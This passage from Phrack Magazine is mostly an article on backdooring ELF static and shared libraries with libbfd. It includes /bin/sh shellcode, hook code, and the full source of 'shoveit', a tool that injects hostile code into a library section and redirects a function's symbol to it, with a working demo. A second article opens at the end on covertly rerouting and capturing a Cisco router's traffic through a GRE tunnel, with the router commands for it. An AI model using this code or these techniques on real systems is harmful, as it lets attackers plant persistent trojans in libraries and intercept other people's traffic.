and architecture you can own. Although it is mostly intended for ELF support,
its frontend will enable you to transparently modify objects with various
formats like COFF, AOUT or IEEE. At this very moment, it is probably your
best bet for shared library backdooring.
----| Overview
The following article will show you the bliss of backdoor portability by
describing both static and shared ELF object backdooring methods. It will be
divided into the logical steps of the operation which are the code writing
procedure, the code insertion procedure, and finally, the hooking procedure.
QUICK NOTE:
Before diving in, the reader needs to know a few things... First of all,
libbfd is *usually* found on most systems, including linux, and *bsd. If it
is not, it is included in the GNU binutils distribution. Fetch it. Also,
it is important to know that libbfd relies on the libiberty library, which
you would be lucky to find on your target host. It is small, and you might
want to consider making it a part of your portable backdooring toolkit.
Finally, it might happen that BFD does *not* provide the required facilities
to completely insert our malicious code in specific situations. Thus, we
might have to use object format specific techniques in order to complete our
goal.
----| Writing the hostile code
This section will look familiar to most of you shellcode writers out there. As
a matter of fact, it is probably the most painful step in the portability of
our backdooring technique. However, it should be reasonably painfree for the
average hacker who has some knowledge of assembly on common architectures.
The easiest way to write our code would be to do it in asm, using the
"eggcode" method, which enables us to insert the hostile code in unknown
environments without any fear of breaking its internal links. By using
relative addressing, it becomes possible to write code which would be
completely independent from its environment, as seen in most exploit
shellcodes. An example of eggcode (for those who never touched one before)
would be the following:
ipdev:~/tmp/bfd$ cat eggcode.s
.text
.align 4
.globl main
.type main,@function
main:
xorl %eax,%eax
xorl %edx,%edx
movb $0xb,%al
jmp .jumpme
.callme:
popl %ebx
leal 0x8(%ebx),%ecx
movl %ebx,0x8(%ebx)
movl %edx,0xc(%ebx)
int $0x80
.jumpme:
call .callme
.string "/bin/sh "
ipdev:~/tmp/bfd$
However, when it comes to backdoors, where function call redirection is often
(always?) involved, such a technique becomes inapplicable. As a matter of
fact, that kind of backdoor would render the hooked function unusable, since
no redirection to the original function can be done on specific conditions.
For that purpose, we will have to find a way to refer to functions located
in our target object.
Fortunately for us, there is a pretty easy way to do such a thing. The only
condition is that the referenced symbol must be located within the library
we are backdooring (not imported from somewhere else). Let's suppose that we
want to backdoor a function called huhu() in some library, and that the
backdoor will have to redirect the call to another function called haha()
within the same library. In this example, haha() will be passed a string
which will be printed on the screen.
Before being able to find out what address we want to call from our backdoor,
we will have to determine the position of haha() within the targeted
library...
ipdev:~/tmp/bfd$ nm lib.so
00001214 A _DYNAMIC
00001208 A _GLOBAL_OFFSET_TABLE_
00001264 A __bss_start
00001264 A _edata
00001264 A _end
00000200 A _etext
000001d8 t gcc2_compiled.
000001d8 T haha
000001ec T huhu
U printf
ipdev:~/tmp/bfd$
We can see that it will map into memory at address 0x1d8. To deduce the
address we want to call in our backdoor, we will have to consider the code
relocation which will be performed when inserting our backdoor into the
library. The resulting address would be 1d8-[reloc_offset]. That in mind,
le'ts write the eggcode of our backdoor:
ipdev:~/tmp/bfd$ cat > eggcode.s
.text
.align 4
.globl main
.type main,@function
main:
nop
nop
nop
nop
nop
nop
pushl %ebp
movl %esp,%ebp
jmp string
callit: call 0x1d8-0x1214-0x10
addl $4,%esp
movl %ebp,%esp
popl %ebp
ret
string:
call callit
.string "whore
"
^D
ipdev:~/tmp/bfd$
In this example, the relocation offset of our code is 0x1214. The subtraction
of 0x10 is required because the called address in the code is considered by
the compiler as relative to the position of the call instruction, when we call
an absolute address. As you probably guessed, the call instruction ends at
address 0x10 within the eggcode. Also, you might have noticed all the nops at
the beginning of the code. This is purely to avoid any padding or
miscalculation problem. As in all exploit writing, we are never careful
enough.
----| Inserting the hostile code
Now comes the part where libbfd will become useful. As a matter of fact,
bfds have the capability of describing a complete binary file (from head
to tail) more or less quite accurately. Accuracy, in this case, refers to the
ability to interpret various data from the object file, which is highly
influenced by the transparency required by libbfd when it comes to such a task.
Thus, multiple format-specific features will be sacrificed in order to
protect the portability of the bfd interface. However, we do not need to
worry about that for the moment, since our task strictly consists of malicious
code insertion. Fortunately, our trojan insertion method will only rely on
the presence of multiple sections within an object, which is common on most
architectures. Before proceeding to this, we will have to take a look at
what APIs libbfd offers us.
At the time of this writing (bfd version < 3.0), libbfd does not permit direct
modification of an object file. The two most useful functions libbfd does
offer us are bfd_openr() and bfd_openw(). They both require the object file
name and the architecture type as arguments, and they both return a descriptor
to the allocated bfd. When a bfd is being opened in read mode (openr), none
of its structures can be dumped into the physical file. On the other hand,
when it is opened in write mode (openw), none if its data can be read. For
this reason, in order to insert our backdoor, we will have to copy the binary
file, section by section, and perform the data insertion while copying the
host section of our target file.
The process of copying the object file is composed of several steps, including
the reproduction of the file's start address, flags, architecture, symbol
table, debugging information and various sections. Since a sample backdooring
program code called shoveit.c is appended at the end of this article, we
will only take a look at the interesting functions of libbfd when it comes
to inserting our backdoor into the destination object (the hooking of the
various symbol tables is described in the next sections). For informational
purposes, let's take a look at the transparent libbfd view of a binary
file section:
typedef struct sec
{
const char *name;
int index;
struct sec *next;
flagword flags;
#define SEC_NO_FLAGS 0x000
#define SEC_ALLOC 0x001
#define SEC_LOAD 0x002
#define SEC_RELOC 0x004
#define SEC_BALIGN 0x008
#define SEC_READONLY 0x010
#define SEC_CODE 0x020
#define SEC_DATA 0x040
unsigned int user_set_vma : 1;
unsigned int reloc_done : 1;
unsigned int linker_mark : 1;
bfd_vma vma;
bfd_vma lma;
bfd_size_type _cooked_size;
bfd_size_type _raw_size;
bfd_vma output_offset;
struct sec *output_section;
unsigned int alignment_power;
struct reloc_cache_entry *relocation;
struct reloc_cache_entry **orelocation;
unsigned reloc_count;
file_ptr filepos;
file_ptr rel_filepos;
file_ptr line_filepos;
PTR userdata;
unsigned char *contents;
alent *lineno;
unsigned int lineno_count;
file_ptr moving_line_filepos;
int target_index;
PTR used_by_bfd;
struct relent_chain *constructor_chain;
bfd *owner;
struct symbol_cache_entry *symbol;
struct symbol_cache_entry **symbol_ptr_ptr;
struct bfd_link_order *link_order_head;
struct bfd_link_order *link_order_tail;
} asection ;
All the bfd represented sections of a binary file are linked together with
the *next pointer, and point back to their parent bfd with a *owner pointer.
Most of the other fields are used either by libbfd's internal procedures,
or by the frontend macros. They are pretty much self-explanatory; however,
for more information on what a given field is intended for, refer to the bfd.h
header file.
In order to copy sections from one bfd to another, you first must register a
handler with the bfd_map_over_sections() function, which will be executed for
each section of the input bfd. This mapping function must be passed the bfd of
the file in question, and a pointer to the handling function. An optional
"obj" pointer can also be passed to this handling function, which must have
the following prototype:
handler(bfd *, asection *, void *);
In order to first create the destination sections which will correspond to the
sections of our source object, we will register a setup_section() function,
which will set each destination section with its respective vma, lma, size,
alignment and flags. As you can see in the code below, we must pay particular
attention to keep enough free space in the section which will host our hostile
code such that both our backdoor and the original section will comfortably fit.
Also, once the backdoor has been placed into a section, all of the following
section's vma and lma are readjusted so that our hostile code will not be
overwritten by those sections once mapped into virtual memory.
Once the creation of our destination sections is done, we will have to copy
the symbol table of our source file, which must be done before any section
content is reproduced. As was said before, this will be examined in the
following sections.
Finally, we are ready to copy the data from one section to its respective
destination (which is performed by the copy_section() handler in the code
below). Data can be read from and written to a bfd section by using the
bfd_get_section_contents and bfd_set_section_contents respectively. Both
of these functions require the following arguments:
- the target/source bfd,
- section pointers,
- a pointer to the buffer (which will be filled with/dumped to the
pointed section),
- the offset within the section,
- the size of the buffer.
The data will be physically dumped into the object file once the bfd_close()
function has been called.
In a usual situation where a section is modified while being copied, we
would have to relocate all the absolute references to symbols located in
the sections following the altered section. However, this operation can
be avoided if the host section is among the last ones to be mapped into
virtual memory, after which no other section is referenced to with
absolute addressing. If we take a quick look at the following example:
ipdev:~/tmp/bfd$ objdump -h /usr/lib/crt1.o
/usr/lib/crt1.o: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000080 00000000 00000000 00000040 2**4
CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
1 .data 00000004 00000000 00000000 000000c0 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000000 00000000 00000000 000000c4 2**2
ALLOC
ipdev:~/tmp/bfd$
We would probably consider placing our code into the data section of the
crt1.o program header. However, the situation may become quite different
for shared libraries:
ipdev:~/tmp/bfd$ objdump -h lib.so
lib.so: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .hash 0000003c 00000094 00000094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .dynsym 000000a0 000000d0 000000d0 000000d0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .dynstr 00000050 00000170 00000170 00000170 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .rel.text 00000018 000001c0 000001c0 000001c0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .text 00000028 000001d8 000001d8 000001d8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
5 .rodata 00000006 00000200 00000200 00000200 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .data 00000000 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .got 0000000c 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
8 .dynamic 00000050 00001214 00001214 00000214 2**2
CONTENTS, ALLOC, LOAD, DATA
9 .bss 00000000 00001264 00001264 00000264 2**2
ALLOC
10 .note 00000014 00000000 00000000 00000264 2**0
CONTENTS, READONLY
11 .comment 00000012 00000000 00000000 00000278 2**0
CONTENTS, READONLY
ipdev:~/tmp/bfd$
In this case, our best bet would probably be the global offset table
(got) of the library, since we do not want to break absolute links in the
preceding sections. Whenever possible, we will try not to alter special
sections like dynsym, dynstr or dynamic, which are often analyzed by tools
like nm or objdump.
----| Standard symbol hooking
Symbol alteration is probably the most important part of the backdooring
procedure. As a matter of fact, once our code is written and pushed into
the target object, we must find a way to trigger its execution whenever
the function we want to backdoor is called by a trusting process.
This first type of symbol hooking is quite interesting when we try to
backdoor static objects. The standard symbol table of a binary file
is easily accessible thru the bfd interface, and therefore, this operation
wont both be simple and portable. Each of the symbols is canonically
represented by libbfd like this:
typedef struct symbol_cache_entry
{
struct _bfd *the_bfd;
const char *name;
symvalue value;
flagword flags;
#define BSF_NO_FLAGS 0x00
#define BSF_LOCAL 0x01
#define BSF_GLOBAL 0x02
#define BSF_EXPORT BSF_GLOBAL
#define BSF_DEBUGGING 0x08
#define BSF_FUNCTION 0x10
#define BSF_KEEP 0x20
#define BSF_KEEP_G 0x40
#define BSF_WEAK 0x80
#define BSF_SECTION_SYM 0x100
#define BSF_OLD_COMMON 0x200
#define BFD_FORT_COMM_DEFAULT_VALUE 0
#define BSF_NOT_AT_END 0x400
#define BSF_CONSTRUCTOR 0x800
#define BSF_WARNING 0x1000
#define BSF_INDIRECT 0x2000
#define BSF_FILE 0x4000
#define BSF_DYNAMIC 0x8000
#define BSF_OBJECT 0x10000
struct sec *section;
union
{
ptr p;
bfd_vma i;
} udata;
} asymbol;
Unlike sections, symbol entries are located using an array of pointers, but
they also point back to both their parent bfd (using *the_bfd) and their
parent section (using *section). Symbols we will be interested in hooking
will have the BSF_FUNCTION flag on. The name and the relative value of the
symbol are pointed and stored in the name and value fields, respectively (as
you could have guessed). We will use both of them in order to locate our
targeted symbol.
In order to read the symbol table of an object file, we will first have to
get its size by using the bfd_get_symtab_upper_bound() (whose only
argument is the bfd of our target object). Once this is done, we will be
able to malloc a buffer and fill it with the object's symbol table using
bfd_canonicalize_symtab(). This bfd function will receive the object's
bfd followed by the malloc'ed buffer as arguments, and return the number
of canonicalized symbols read.
When processing the table in order to hook our specific symbol (which we
will seek by value instead of name, for reasons we will see in the next
section), we will have to consider the fact that each symbol's value
has been modified by libbfd to look relative to their respective section's
beginning. For that reason, the first symbol of a random section will
always seem to have a value of 0x0, although its pretty different
physically.
Once the symbol table has been altered at will, it is possible to dump it
back into its object file using the bfd_set_symtab() function, which
requires as argument the object's bfd, the pointer to the symbol table
(the malloc'ed buffer) and the number of symbols to be written.
----| Dynamic symbol hooking
When it comes to hooking shared objects the hooking process becomes quite
different. First of all, shared objects use a different symbol table
than the one used for static linking. Under ELF, these symbols are stored
in the ".dynsym" section, but remain represented in the same way a static
symbol is. Also, all the names of the symbols stored in the ".dynsym"
section of the object are kept in a different section, called ".dynstr".
However, this is far from being the most problematic part. Although you
will be able to use libbfd to read dynamic symbols in the same way you
read standard symbols, there does not seem to be any dynamic symbol table
dumping function implemented in libbfd yet. In order words, it means that
our wonderfully portable insertion/hooking combo technique will lose
pretty much of its portability in this operation. However, since dynamic
linking is almost only (in the most interesting cases) used in ELF, the
sacrifice is not too expensive.
Now that we know we will have to manually modify the dynamic symbol table,
we have a small practical dilemma. Since the dynamic symbol table is located
within a section of our target object, we will probably want to perform
dynamic symbol hooking while copying each of the file's section. The dilemma
is that, as said before, the symbol names are stored in a different section of
the file. Two possibilities are offered to us. The first one is to load both
tables into memory and resolve the links between the *st_name fields of the
.dynsym section and the strings of the .dynstr section. However, since we are
lazy, we will probably prefer the alternative solution, where we will locate
each symbol by its original value instead of its name (as noted in the
previous section).
Now that we are ready to process the dynamic symbol table manually, it would
be required to know what an ELF symbol entry looks like:
typedef struct elf32_sym {
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Half st_shndx;
} Elf32_Sym;
As in the bfd transparent symbol structure, most of the fields we are
interested in are pretty self-explanatory. If we now take a look at what the
.dynsym section looks like, we will see this:
ipdev:~/tmp/bfd$ objdump --full-contents --section=.dynsym lib.so
lib.so: file format elf32-i386
Contents of section .dynsym:
00d0 00000000 00000000 00000000 00000000 ................
00e0 01000000 14120000 00000000 1100f1ff ................
00f0 0a000000 08120000 00000000 1100f1ff ................
0100 20000000 d8010000 13000000 12000500 ...............
0110 25000000 00000000 00000000 10000000 %...............
0120 2c000000 ec010000 14000000 12000500 ,...............
0130 31000000 00020000 00000000 1100f1ff 1...............
0140 38000000 64120000 00000000 1100f1ff 8...d...........
0150 3f000000 64120000 00000000 1100f1ff ?...d...........
0160 4b000000 64120000 00000000 1100f1ff K...d...........
ipdev:~/tmp/bfd$
You can observe that the first entry of the dynamic symbol table (the second
being used by the _DYNAMIC section symbol which has value of 0x1214) is nulled
out. To our eyes, it's just another mystic feature established by the ELF
standard, which is not worth being taken in consideration for our hooking
operation.
----| SHOVEIT: a multipurpose code insertion tool
In order to simplify the task of backdooring shared libraries and static
objects, I wrote a nice little tool which will enable you to use some bfd
APIs without having to worry about programming. Of course, this could open the
door to script kiddies, but they would have had to go thru all of this article
before using it, and I doubt most of them can do that. The tool is located
at the end of the article, extractable using the Phrack Magazine Extraction
Utility.
Lets take a look at a practical code insertion example using shoveit. Suppose
here we are backdooring the same lib.so shared library as we were trying to
backdoor at the beginning of this article. Its most interesting symbols are
still the function haha (the one we call) at address 0x1d8 and the function
huhu (the one we hook) at address 0x1ec. We are also using the backdoor we
wrote previously, "eggcode.s".
ipdev:~/tmp/bfd$ gcc -c test.s
ipdev:~/tmp/bfd$ objdump -h test.o
test.o: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000023 00000000 00000000 00000034 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .data 00000000 00000000 00000000 00000058 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .bss 00000000 00000000 00000000 00000058 2**2
ALLOC
ipdev:~/tmp/bfd$
We now see that all of our backdoor's code is stored in the eggcode's
text section. Before pushing it into our target library, we will have to
verify where it will be placed after insertion, so that we can hook the
library's symbol table correctly.
ipdev:~/tmp/bfd$ objdump -h lib.so
lib.so: file format elf32-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .hash 0000003c 00000094 00000094 00000094 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .dynsym 000000a0 000000d0 000000d0 000000d0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .dynstr 00000050 00000170 00000170 00000170 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .rel.text 00000018 000001c0 000001c0 000001c0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .text 00000028 000001d8 000001d8 000001d8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
5 .rodata 00000006 00000200 00000200 00000200 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .data 00000000 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
7 .got 0000000c 00001208 00001208 00000208 2**2
CONTENTS, ALLOC, LOAD, DATA
8 .dynamic 00000050 00001214 00001214 00000214 2**2
CONTENTS, ALLOC, LOAD, DATA
9 .bss 00000000 00001264 00001264 00000264 2**2
ALLOC
10 .note 00000014 00000000 00000000 00000264 2**0
CONTENTS, READONLY
11 .comment 00000012 00000000 00000000 00000278 2**0
CONTENTS, READONLY
ipdev:~/tmp/bfd$ nm --dynamic lib.so
00001214 A _DYNAMIC
00001208 A _GLOBAL_OFFSET_TABLE_
00001264 A __bss_start
00001264 A _edata
00001264 A _end
00000200 A _etext
000001d8 T haha
000001ec T huhu
U printf
ipdev:~/tmp/bfd$
Great. We observe that if we insert our hostile code right after the global
offset table's content, we will have to alter the huhu's value from 0x1ec
to 0x1214 (0x1208+0xc). We will now use shoveit to append our backdoor code
to our library's .got section, and to hook the "huhu" symbol so it points
to the position at which our backdoor was inserted.
ipdev:~/tmp/bfd$ ./shoveit test.o .text lib.so .got 0x1ec 0x1214
Hooking statsyms from 0x1ec to 0x1214
Hooking dynsyms from 0x1ec to 0x1214
Inserting 35 hostile bytes into .got
ipdev:~/tmp/bfd$ nm --dynamic lib.so
00001214 A _DYNAMIC
00001208 A _GLOBAL_OFFSET_TABLE_
00001264 A __bss_start
00001264 A _edata
00001264 A _end
00000200 A _etext
000001d8 T haha
00001214 T huhu
U printf
ipdev:~/tmp/bfd$ objdump -D --section=.got \n --start-address=0x1214 lib.so
lib.so: file format elf32-i386
Disassembly of section .got:
00001214 <.got+c> nop
00001215 <.got+d> nop
00001216 <.got+e> nop
00001217 <.got+f> nop
00001218 <.got+10> nop
00001219 <.got+11> nop
0000121a <.got+12> pushl %ebp
0000121b <.got+13> movl %esp,%ebp
0000121d <.got+15> jmp 0000122b <_DYNAMIC+17>
0000121f <.got+17> call 000001d8 <haha>
00001224 <.got+1c> addl $0x4,%esp
00001227 <.got+1f> movl %ebp,%esp
00001229 <.got+21> popl %ebp
0000122a <.got+22> ret
0000122b <.got+23> call 0000121f <_DYNAMIC+b>
00001230 <.got+28> ja 0000129a <__bss_start+36>
00001232 <.got+2a> outsl %ds:(%esi),(%dx)
00001233 <.got+2b> jb 0000129a <__bss_start+36>
00001235 <.got+2d> orb (%eax),%al
ipdev:~/tmp/bfd$
Wonderful. We have inserted our hostile code at vma 0x1214 in the library
and hooked the huhu symbol to make it point to it. Furthermore, you can
observe that our calculations from the first part of this article were right:
our code successfully calls the haha() function within the target library.
Nothing can stop us from now on...
ipdev:~/tmp/bfd$ ldd prog
./lib.so => ./lib.so
ipdev:~/tmp/bfd$ ./prog
whore
ipdev:~/tmp/bfd$
----| The END (sniff)
I hope you all enjoyed this little demonstration. Of course, this is not a
new class of vulnerability, however, I hope it will help some people to
understand that once your host has lost its integrity, you should always
assume the worst. The fact that a system's source code is tightly preserved
from prying eyes is not a valid argument when it comes to security. One
way or the other, the standards you follow will make your software as
potentially vulnerable as any other software.
Greats to adm, promisc, wiretrip, teso, w00w00, and of course, phrack.
----| Shoveit
<++> p56/bfd/shoveit.c !6de17d5d
/*
*
* Coded by klog <klog@promisc.org>
*
* libbfd relies on libiberty, so
* cc -c shoveit.c first, then cc shoveit.o -lbfd -liberty
*
* shoveit <src_obj> <src_segment> <dst_obj> <dst_segment>
* <orig_addr> <new_addr>
*
* This tool will insert "src_segment" from "src_obj" into
* "dst_segment" of "dst_obj", and alter "symbol" to physical
* value "value".
*
* Portable, stealth, flexible.
* Have fun :)
*
* NB: shoveit does *not* perform relocation
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <strings.h>
#include <linux/elf.h>
#define DYNSTAB ".dynsym"
#define nonfatal(s) {perror(s); return;}
#define fatal(s) {perror(s); exit(-1);}
#define bfd_nonfatal(s) {bfd_perror(s); return;}
#define bfd_fatal(s) {bfd_perror(s); exit(-1);}
char *input_section;
char *output_section;
char *input_filename;
static bfd *bd_bfd;
static sec_ptr bdsection;
static int bd_size = 0;
static int isdone = 0;
static int vma_offset = 0;
static long hooksym;
static long hookval;
void hook_dynstab(struct elf32_sym *symtab, bfd_size_type size)
{
int symcount, i;
symcount = size/sizeof(asymbol);
for(i=0;i<symcount;i++) {
if (symtab[i].st_value == hooksym)
symtab[i].st_value = hookval;
}
}
void setup_section(bfd *ibfd, sec_ptr isection, bfd *obfd)
{
struct section_list *p;
sec_ptr osection;
bfd_vma vma;
bfd_vma lma;
flagword flags;
char *err;
int isdest = 0;
if (!strcmp(output_section, isection->name)) isdest = 1;
osection = bfd_make_section_anyway(obfd,
bfd_section_name(ibfd, isection));
if (osection == NULL)
fatal("making section");
if (isdone) vma_offset = bd_size;
if (isdest) {
if (!bfd_set_section_size(obfd, osection,
bfd_section_size(ibfd, isection)+bd_size))
bfd_fatal("setting size");
isdone = 1;
} else {
if (!bfd_set_section_size(obfd, osection,
bfd_section_size(ibfd, isection)))
bfd_fatal("setting size");
}
vma = bfd_section_vma (ibfd, isection) + vma_offset;
if (!bfd_set_section_vma(obfd, osection, vma))
fatal("setting vma");
osection->lma = isection->lma + vma_offset;
if (bfd_set_section_alignment(obfd, osection,
bfd_section_alignment(ibfd, isection)) == false)
fatal("setting alignment");
flags = bfd_get_section_flags(ibfd, isection);
if (!bfd_set_section_flags(obfd, osection, flags))
bfd_nonfatal("setting flags");
isection->output_section = osection;
isection->output_offset = 0;
if (!bfd_copy_private_section_data(ibfd, isection, obfd, osection))
fatal("setting private data");
return;
}
void copy_section(bfd *ibfd, sec_ptr isection, bfd *obfd)
{
struct section_list *p;
arelent **relpp;
long relcount;
sec_ptr osection;
bfd_size_type size;
long relsize;
int isdest = 0;
char **matching;
if (!strcmp(output_section, isection->name)) isdest = 1;
osection = isection->output_section;
size = bfd_get_section_size_before_reloc(isection);
if (size == 0 || osection == 0 || bd_size == 0)
return;
if (bfd_get_section_flags(ibfd, isection) & SEC_HAS_CONTENTS)
{
PTR memhunk = (PTR)xmalloc((unsigned) size);
if (!bfd_get_section_contents(ibfd, isection,
memhunk, (file_ptr) 0, size))
nonfatal ("get_contents");
if (isdest) {
PTR bdhunk = (PTR)xmalloc((unsigned)size+bd_size);
printf("Inserting %i hostile bytes into %s
",
bd_size, osection->name);
bcopy(memhunk, bdhunk, size);
if (!bfd_get_section_contents(bd_bfd, bdsection,
bdhunk+size, 0, bd_size))
bfd_nonfatal ("get_contents");
if (!bfd_set_section_contents(obfd, osection,
bdhunk, (file_ptr) 0, size+bd_size))
bfd_nonfatal("set_contents");
free (bdhunk);
} else {
if (!strcmp(osection->name, DYNSTAB)) {
printf("Entering %s
", osection->name);
hook_dynstab(memhunk, size);
}
if (!bfd_set_section_contents(obfd, osection,
memhunk, (file_ptr) 0, size))
bfd_nonfatal("set_contents");
}
free (memhunk);
}
}
void copy_object(bfd *ibfd, bfd *obfd)
{
long start;
long symcount, i;
long symsize;
char **matching;
asymbol **symtab;
start = bfd_get_start_address(ibfd);
if (!bfd_set_format (obfd, bfd_get_format(ibfd)))
nonfatal ("set_format");
bd_bfd = bfd_openr(input_filename, "i586-pc-linux-gnulibc1");
if (!bd_bfd) bfd_fatal("bfd_openr");
bfd_check_format_matches(bd_bfd, bfd_object, &matching);
bdsection = bfd_get_section_by_name(bd_bfd, input_section);
if (!bdsection) bfd_fatal("bfd_section");
bd_size = bfd_section_size(bd_bfd, bdsection);
if (!bd_size) bfd_fatal("section_size");
if (!bfd_set_start_address (obfd, start) ||
!bfd_set_file_flags(obfd,(bfd_get_file_flags(ibfd)
& bfd_applicable_file_flags(obfd))))
{
bfd_fatal("set_file_flags");
}
if (!bfd_set_arch_mach(obfd, bfd_get_arch (ibfd),
bfd_get_mach (ibfd)))
{
fprintf (stderr,
"Output file cannot represent architecture %s
",
bfd_printable_arch_mach (bfd_get_arch(ibfd),
bfd_get_mach(ibfd)));
}
if (!bfd_set_format (obfd, bfd_get_format(ibfd)))
nonfatal ("set_format");
bfd_map_over_sections(ibfd, (void *)setup_section, obfd);
symsize = bfd_get_symtab_upper_bound(ibfd);
if (symsize < 0) nonfatal("get_symtab");
symtab = (asymbol **)xmalloc(symsize);
symcount = bfd_canonicalize_symtab(ibfd, symtab);
if (symcount < 0) nonfatal("canon_symtab");
printf("Scanning %i symbols
", symcount);
for(i=0;i<symcount;i++)
if (symtab[i]->value == hooksym) {
symtab[i]->value = hookval;
printf("Static symbol "%s" =+ %x
",
symtab[i]->name, symtab[i]->value);
break;
}
bfd_set_symtab(obfd, symtab, symcount);
bfd_map_over_sections(ibfd, (void *)copy_section, obfd);
if (!bfd_copy_private_bfd_data (ibfd, obfd))
fatal("bfd_copy_private_bfd_data");
}
main(int argc, char *argv[])
{
bfd *ibfd;
char **matching;
char *output_filename;
input_filename = argv[1];
input_section = argv[2];
output_filename = argv[3];
output_section = argv[4];
hooksym = strtol(argv[5], NULL, 16);
hookval = strtol(argv[6], NULL, 16);
bfd_init();
ibfd = bfd_openr(output_filename, "i586-pc-linux-gnulibc1");
if (ibfd == NULL)
{
bfd_nonfatal("openr");
}
if (bfd_check_format_matches(ibfd, bfd_object, &matching))
{
bfd *obfd;
obfd = bfd_openw("newlib", "i586-pc-linux-gnulibc1");
if (obfd == NULL) bfd_fatal("openw");
copy_object(ibfd, obfd);
if (!bfd_close(obfd)) bfd_fatal("close");
if (!bfd_close(ibfd)) bfd_fatal("close");
execl("/bin/mv", "/bin/mv", "newlib",
output_filename, NULL);
} else {
bfd_fatal("format_matches");
}
}
<-->
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x0a[0x10]
|----------------- THINGS TO DO IN CISCOLAND WHEN YOU'RE DEAD ----------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <gaius@hert.org> ---------------------------|
v0.2 1/1/00
----| 1. Disclaimer
Tunnelx (the code) is part of the research and development effort conducted by
HERT (Hacker Emergency Response Team). It is not a production tool for either
attack or defense within an information warfare setting. Rather, it is a
project demonstrating proof of concept.
If you are not the intended recipient, or a person responsible for delivering
it to the intended recipient, you are not authorized to and must not disclose,
copy, distribute, or retain this message or any part of it. Such unauthorized
use may be unlawful. If you have received this transmission in error, please
email us immediately at hert@hert.org so that we can arrange for its return.
The views expressed in this document are not necessarily the views of HERT.
Its directors, officers or employees make no representation or accept any
liability for its accuracy or completeness unless expressly stated to the
contrary.
----| 2. Introduction
When I think about routers in general, I feel exactly like I do when I go to
the supermarket and see all this food and then I can't stop thinking of mad
cow disease, CJD, GMO... It makes me feel dizzy. Just go on cisco.com and
check what cisco 7500 is used for and how many corporations own them and how
many thousands of machines get routed through them... There is even a
traceroute map somewhere that can give you an idea of how deeply dependant we
are on these routers. It's been a long time since I stopped believing in
security, the core of the security problem is really because we are trusting
trust (read Ken Thomson's article, reflections on trusting trust), if I did
believe in security then I wouldn't be selling penetration tests.
How many times have you heard people saying, "Hey I 0wn this cisco, it would be
cool if I had IOS src... I could trojan and recompile it and do this and
that.", how many times have you heard of people wondering what the fuck they
could do with an enable password. The IOS src has been floating around for
quite a while now and no-one'z done anything with it yet; at least not among
the regular bugtraq letspretendtobefulldisclosure readers.
Well you don't even really need the IOS src, everything you need is already
there, (there is only one little thing that would be nice to have from the src
but we'll talk about it below). You can load up the image in IDA, nop out a
couple of instructions and the cisco's rmon implementation won't zero the
payload anymore and you have a IOS sniffer.
----| 3. Rerouting demystified
What you want to do is reroute some traffic from a router and send it to some
other place, capture it and resend it to the router and make it look like
nothing ever happened. Normal operation on a typical config will look like
this:
Internet ------------ Cisco ------------ Target
Ethernet0 Serial0
What we are going to do is:
# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.
User Access Verification
Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)
cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
